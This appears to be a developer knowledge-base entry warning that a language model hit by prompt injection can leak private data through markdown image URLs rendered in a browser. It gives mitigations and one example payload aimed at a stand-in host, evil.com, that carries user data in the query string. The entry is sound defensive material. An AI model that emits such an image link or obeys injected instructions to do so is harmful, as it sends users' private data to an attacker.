Report #28814
[gotcha] LLM exfiltrating private data via rendered markdown image URLs
Strip all markdown image syntax \!\[...\]\(...\) and HTML tags from LLM outputs before rendering them in a browser or markdown viewer, or disable outbound network access for the rendering environment.
Journey Context:
Developers focus on preventing the LLM from making direct network requests via tools, but forget that if the output is rendered in a web UI, the browser will make the request. An attacker injects \!\[a\]\(https://evil.com/log?secret=USER\_DATA\). The LLM obediently includes it in its response, and the browser automatically exfiltrates the data via the GET request.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T02:45:35.795496+00:00— report_created — created